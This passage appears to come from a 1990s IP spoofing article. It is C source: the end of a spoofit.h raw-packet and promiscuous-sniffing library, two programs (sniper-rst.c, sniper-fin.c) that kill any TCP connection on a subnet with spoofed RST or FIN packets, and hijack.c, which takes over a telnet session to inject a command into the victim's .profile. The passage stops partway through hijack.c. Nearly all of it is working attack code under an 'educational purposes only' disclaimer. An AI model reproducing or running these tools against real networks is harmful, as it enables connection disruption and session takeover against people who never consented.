/* When opened a IO_HANDLE mode receiving socket close it with */
/* this. */
/* */
/**** Global DATA (IO_HANDLE mode) ****************************************/
/* */
/* When accessing global data, copy the values to local vars and then use */
/* them. Reduce access time to a minimum. */
/* Mind you use of this is very limited, if you are a novice on IO, just */
/* ignore it, the other functions are good enough!). If not, rewrite the */
/* handler for your own use... */
/* */
/* sig_atomic_t SP_DATA_BUSY */
/* Put this on NON-ZERO when accesing global data. Incoming */
/* packets will be ignored then, data can not be overwritten. */
/* */
/* unsigned long int CUR_SEQ, CUR_ACK; */
/* Last recorded SEQ and ACK number of the filtered "stream". */
/* Before accessing this data set SP_DATA_BUSY non-zero, */
/* afterward set it back to zero. */
/* */
/* unsigned long int CUR_COUNT; */
/* increased everytime other data is updated */
/* */
/* unsigned int CUR_DATALEN; */
/* Length of date in last TCP packet */
/* */
/**************************************************************************/

#include "sys/socket.h" /* includes, what would we do without them */
#include "netdb.h"
#include "stdlib.h"
#include "unistd.h"
#include "stdio.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "linux/if.h"
#include "sys/ioctl.h"
#include "sys/types.h"
#include "signal.h"
#include "fcntl.h"

#undef DEBUG
#define IP_VERSION 4 /* keep y'r hands off... */
#define MTU 1500
#define IP_HEAD_BASE 20 /* using fixed lengths to send */
#define TCP_HEAD_BASE 20 /* no options etc... */
#define UDP_HEAD_BASE 8 /* Always fixed */

#define IO_HANDLE 1
#define IO_NONBLOCK 2

int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

/**** IO_HANDLE ************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */

sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/

struct sp_wait_packet
{
unsigned long seq,ack;
unsigned short flags;
int datalen;
};

/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32 /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1

struct PACKET_info
{
int len, datalen;
unsigned long int seq_nr, ACK_nr;
u_char FLAGS;
};

struct IP_header /* The IPheader (without options) */
{
unsigned char verlen, type;
unsigned short length, ID, flag_offset;
unsigned char TTL, protocol;
unsigned short checksum;
unsigned long int source, destination;
};

struct TCP_header /* The TCP header (without options) */
{
unsigned short source, destination;
unsigned long int seq_nr, ACK_nr;
unsigned short offset_flag, window, checksum, urgent;
};

struct UDP_header /* The UDP header */
{
unsigned short source, destination;
unsigned short length, checksum;
};

struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
{
unsigned long int source, destination;
char zero_byte, protocol;
unsigned short TCP_UDP_len;
};

/* data structure for argument passing */

struct sp_data_exchange {
int fd; /* Sh!t from transmit_TCP */
char *data;
int datalen;
char *source; unsigned short source_port;
char *dest; unsigned short dest_port;
unsigned long seq, ack;
unsigned short flags;

char *buffer; /* work buffer */

int IP_optlen; /* IP options length in bytes */
int TCP_optlen; /* TCP options length in bytes */
};

/**************** all functions *******************************************/
void transmit_TCP (int fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags);

void transmit_UDP (int sp_fd, char *sp_data,
int ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port);

int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);

static unsigned long sp_getaddrbyname(char *);

int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);

void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );

void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);

/********************* let the games commence ****************************/

static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;

if(isdigit(*sp_name))
return inet_addr(sp_name);

for(i=0;i&lt;100;i++)
{
if(!(sp_he = gethostbyname(sp_name)))
{printf("WARNING: gethostbyname failure!\n");
sleep(1);
if(i&gt;=3) /* always a retry here in this kind of application */
printf("Coudn't resolv hostname."), exit(1);
}
else break;
}
return sp_he ? *(long*)*sp_he-&gt;h_addr_list : 0;
}

int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;

/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
perror("Couldn't open Socket."), exit(1);

#ifdef DEBUG
printf("Raw socket ready\n");
#endif
return sp_fd;
}

void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;

/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp-&gt;dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
{ /* if target not in DOT/number notation */
if (!(sp_help=gethostbyname(sp-&gt;dest)))
fprintf(stderr,"unknown host %s\n", sp-&gt;dest), exit(1);
bcopy(sp_help-&gt;h_addr, (caddr_t)&sp_server.sin_addr, sp_help-&gt;h_length);
};

switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_status = sendto(sp-&gt;fd, (char *)(sp-&gt;buffer), sp-&gt;datalen+HEAD_BASE+IP_HEAD_BASE+sp-&gt;IP_optlen, 0,
(struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status &lt; 0 || sp_status != sp-&gt;datalen+HEAD_BASE+IP_HEAD_BASE+sp-&gt;IP_optlen)
{
if (sp_status &lt; 0)
perror("Sendto"), exit(1);
printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
sp-&gt;datalen+HEAD_BASE);
};
#ifdef DEBUG
printf("Packet transmitted...\n");
#endif
}

void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;

switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};

sp_help_ip = (struct IP_header *) (sp-&gt;buffer);
sp_help_ip-&gt;verlen = (IP_VERSION &lt;&lt; 4) | ((IP_HEAD_BASE+sp-&gt;IP_optlen)/4);
sp_help_ip-&gt;type = 0;
sp_help_ip-&gt;length = htons(IP_HEAD_BASE+HEAD_BASE+sp-&gt;datalen+sp-&gt;IP_optlen+sp-&gt;TCP_optlen);
sp_help_ip-&gt;ID = htons(12545); /* TEST */
sp_help_ip-&gt;flag_offset = 0;
sp_help_ip-&gt;TTL = 69;
sp_help_ip-&gt;protocol = proto;
sp_help_ip-&gt;source = sp_getaddrbyname(sp-&gt;source);
sp_help_ip-&gt;destination = sp_getaddrbyname(sp-&gt;dest);
sp_help_ip-&gt;checksum=in_cksum((unsigned short *) (sp-&gt;buffer),
IP_HEAD_BASE+sp-&gt;IP_optlen);
#ifdef DEBUG
printf("IP header fixed...\n");
#endif
}

void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i&lt;MTU;i++)
{sp_pseudo_ip_construct[i]=0;}

sp_help_tcp = (struct TCP_header *) (sp-&gt;buffer+IP_HEAD_BASE+sp-&gt;IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_tcp-&gt;offset_flag = htons( (((TCP_HEAD_BASE+sp-&gt;TCP_optlen)/4)&lt;&lt;12) | sp-&gt;flags);
sp_help_tcp-&gt;seq_nr = htonl(sp-&gt;seq);
sp_help_tcp-&gt;ACK_nr = htonl(sp-&gt;ack);
sp_help_tcp-&gt;source = htons(sp-&gt;source_port);
sp_help_tcp-&gt;destination = htons(sp-&gt;dest_port);
sp_help_tcp-&gt;window = htons(0x7c00); /* dummy for now 'wujx' */

sp_help_pseudo-&gt;source = sp_getaddrbyname(sp-&gt;source);
sp_help_pseudo-&gt;destination = sp_getaddrbyname(sp-&gt;dest);
sp_help_pseudo-&gt;zero_byte = 0;
sp_help_pseudo-&gt;protocol = 6;
sp_help_pseudo-&gt;TCP_UDP_len = htons(sp-&gt;datalen+TCP_HEAD_BASE+sp-&gt;TCP_optlen);

memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp-&gt;TCP_optlen+sp-&gt;datalen+TCP_HEAD_BASE);
sp_help_tcp-&gt;checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp-&gt;datalen+12+TCP_HEAD_BASE+sp-&gt;TCP_optlen);
#ifdef DEBUG
printf("TCP header fixed...\n");
#endif
}

void transmit_TCP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_tcpoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.seq = sp_seq;
sp_struct.ack = sp_ack;
sp_struct.flags = sp_flags;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}

void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i&lt;MTU;i++)
{sp_pseudo_ip_construct[i]=0;}

sp_help_udp = (struct UDP_header *) (sp-&gt;buffer+IP_HEAD_BASE+sp-&gt;IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_udp-&gt;source = htons(sp-&gt;source_port);
sp_help_udp-&gt;destination = htons(sp-&gt;dest_port);
sp_help_udp-&gt;length = htons(sp-&gt;datalen+UDP_HEAD_BASE);

sp_help_pseudo-&gt;source = sp_getaddrbyname(sp-&gt;source);
sp_help_pseudo-&gt;destination = sp_getaddrbyname(sp-&gt;dest);
sp_help_pseudo-&gt;zero_byte = 0;
sp_help_pseudo-&gt;protocol = 17;
sp_help_pseudo-&gt;TCP_UDP_len = htons(sp-&gt;datalen+UDP_HEAD_BASE);

memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp-&gt;datalen+UDP_HEAD_BASE);
sp_help_udp-&gt;checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp-&gt;datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
printf("UDP header fixed...\n");
#endif
}

void transmit_UDP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);

if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = 0;

sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}

/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;

while (nleft &gt; 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum &gt;&gt; 16) + (sum & 0xffff);
sum += (sum &gt;&gt; 16);
answer = ~sum;
return(answer);
}

/************************* Receiving department ****************************/

int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;

/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)&lt;0)
perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)&lt;0)
perror("Couldn't set flags. (PROMISC)"), exit(1);

if(mode&IO_HANDLE)
{ /* install handler */
rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
rc_sa.sa_flags=0; /* too big... */
sigaction(SIGIO,&rc_sa,NULL);
}

if(fcntl(or_fd,F_SETOWN,getpid())&lt;0)
perror("Couldn't set ownership"), exit(1);

if(mode&IO_HANDLE)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))&lt;0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)&lt;0)
perror("Couldn't set FLAGS"), exit(1);
rc_fd_abc123=or_fd;
}
else
{
if(mode&IO_NONBLOCK)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))&lt;0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)&lt;0)
perror("Couldn't set FLAGS"), exit(1);
};
};

#ifdef DEBUG
printf("Reading socket ready\n");
#endif
return or_fd;
}

/* returns 0 when no packet read! */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;

pack_len = read(rc_fd,help_buffer,1500);
if(pack_len&lt;0)
{
if(errno==EWOULDBLOCK)
{pack_len=0;}
else
{perror("Read error:"); exit(1);}
};
if(pack_len&gt;0)
{
pack_len -= DEV_PREFIX;
memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
gp_IPhead = (struct IP_header *) buffer;
if(proto != NULL)
*proto = gp_IPhead-&gt;protocol;
if(TCP_UDP_start != NULL)
*TCP_UDP_start = (gp_IPhead-&gt;verlen & 0xF) &lt;&lt; 2;
}
return pack_len;
}

void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}

int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
char *wp_source, unsigned short wp_source_port,
char *wp_dest, unsigned short wp_dest_port, int wp_flags,
int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;

wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);

WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
{
signal(SIGALRM,wait_packet_timeout);
alarm(wait_time);
}

while(1)
{
while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)&lt;=0)
{
if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
};
if(wp_proto == 6)
{
wp_iphead= (struct IP_header *) wp_buffer;
wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
if( (wp_sourcel==wp_iphead-&gt;source)&&(wp_destl==wp_iphead-&gt;destination) )
{
if( (ntohs(wp_tcphead-&gt;source)==wp_source_port) &&
(ntohs(wp_tcphead-&gt;destination)==wp_dest_port) )
{
if( (wp_flags==0) || (ntohs(wp_tcphead-&gt;offset_flag)&wp_flags) )
{
ret_values-&gt;seq=ntohl(wp_tcphead-&gt;seq_nr);
ret_values-&gt;ack=ntohl(wp_tcphead-&gt;ACK_nr);
ret_values-&gt;flags=ntohs(wp_tcphead-&gt;offset_flag)&
(URG|ACK|PSH|FIN|RST|SYN);
ret_values-&gt;datalen = ntohs(wp_iphead-&gt;length) -
((wp_iphead-&gt;verlen & 0xF) &lt;&lt; 2) -
((ntohs(wp_tcphead-&gt;offset_flag) & 0xF000) &gt;&gt; 10);
alarm(0);
return 0;
}
}
}
}
}
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}


void close_receiving (void)
{
close(rc_fd_abc123);
}

void rc_sigio (int sig) /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;

if(RC_FILTSET==0) return;

if(SP_DATA_BUSY!=0) /* skip this packet */
return;

pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead-&gt;protocol!=6) return; /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead-&gt;verlen & 0xF) &lt;&lt; 2));

rc_so = (unsigned char *) &(rc_IPhead-&gt;source);
rc_dest = (unsigned char *) &(rc_IPhead-&gt;destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead-&gt;source),
rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead-&gt;destination));

if(strcmp(packet_id,rc_filter_string)==0)
{
SP_DATA_BUSY=1;
CUR_SEQ = ntohl(rc_TCPhead-&gt;seq_nr);
CUR_ACK = ntohl(rc_TCPhead-&gt;ACK_nr);
CUR_FLAGS = ntohs(rc_TCPhead-&gt;offset_flag);
CUR_DATALEN = ntohs(rc_IPhead-&gt;length) -
((rc_IPhead-&gt;verlen & 0xF) &lt;&lt; 2) -
((ntohs(rc_TCPhead-&gt;offset_flag) & 0xF000) &gt;&gt; 10);
CUR_COUNT++;
SP_DATA_BUSY=0;
}
}

void set_filter (char *f_source, unsigned short f_source_port,
char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;

RC_FILTSET=0;
if(DEV_PREFIX==9999)
fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so = (unsigned char *) &f_sol;
f_des = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}

------------------------------------------------------------------------------

---=[ sniper-rst.c ]=---------------------------------------------------------
/**************************************************************************/
/* Sniper-rst - Example program on connection killing with IP spoofing */
/* Using the RST flag. */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - Killing any TCP connection on your subnet */
/* */
/* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t &gt;/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o sniper-rst sniper-rst.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/

#include "spoofit.h"

/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14

char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;

void main(int argc, char *argv[])
{
int i,stat,j;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;

if(argc != 5)
{
printf("usage: %s host1 port1 host2 port2\n",argv[0]);
exit(0);
}

/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);

/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

printf("Trying to terminate the connection\n");

for(i=1;i&lt;=100;i++)
{
/* Waiting for a packet containing an ACK */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5);
if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);}
sp_seq=pinfo.ack;
sp_ack=0;
j=0;
/* Sending our fake Packet */

/* for(j=0;j&lt;10;j++) This would be better */
/* { */
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
sp_seq+j,sp_ack,RST);
/* } */

/* waiting for confirmation */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5);
if(stat&lt;0)
{
printf("Connection 5 secs idle or dead...\n");
exit(0);
}
}
printf("I did not succeed in killing it.\n");
}

------------------------------------------------------------------------------

---=[ sniper-fin.c ]=---------------------------------------------------------
/**************************************************************************/
/* Sniper-fin - Example program on connection killing with IP spoofing */
/* using the FIN flag. */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - Killing any TCP connection on your subnet */
/* */
/* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t &gt;/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o sniper-fin sniper-fin.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/

#include "spoofit.h"

/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14

char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;

void main(int argc, char *argv[])
{
int i,stat;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;

if(argc != 5)
{
printf("usage: %s host1 port1 host2 port2\n",argv[0]);
exit(0);
}

/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);

/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

for(i=1;i&lt;100;i++)
{
printf("Attack Sequence %d.\n",i);
/* Waiting for a packet containing an ACK */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
/* Sending our fake Packet */
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);
/* waiting for confirmation */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
if(stat&gt;=0)
{
printf("Killed the connection...\n");
exit(0);
}
printf("Hmmmm.... no response detected... (retry)\n");
}
printf("I did not succeed in killing it.\n");
}

------------------------------------------------------------------------------

---=[ hijack.c ]=-------------------------------------------------------------
/**************************************************************************/
/* Hijack - Example program on connection hijacking with IP spoofing */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - taking control of a running telnet session, and executing */
/* our own command in that shell. */
/* */
/* Author - Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t &gt;/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o hijack hijack.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/

#include "spoofit.h" /* My spoofing include.... read licence on this */

/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0" /* first ethernet device */
#define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */

#define PERSONAL_TOUCH 666

int fd_receive, fd_send;
char CLIENT[100],SERVER[100];
int CLIENT_P;

void main(int argc, char *argv[])
{
int i,j,count;
struct sp_wait_packet attack_info;
unsigned long sp_seq ,sp_ack;
unsigned long old_seq ,old_ack;
unsigned long serv_seq ,serv_ack;

/* This data used to clean up the shell line */
char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
char evil_data[]="echo \"echo HACKED\" &gt;&gt;$HOME/.profile\n";

if(argc!=4)
{
printf("Usage: %s client client_port server\n",argv[0]);
exit(1);
}
strcpy(CLIENT,argv[1]);
CLIENT_P=atoi(argv[2]);
strcpy(SERVER,argv[3]);

/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */

printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("-----------------------------------------------\n");

for(j=0;j&lt;50;j++)
{
printf("\nTakeover phase 1: Stealing connection.\n");
wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
printf(" Sending Spoofed clean-up data...\n");
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
sp_seq,sp_ack,ACK|PSH);
/* NOTE: always beware you receive y'r OWN spoofed packs! */
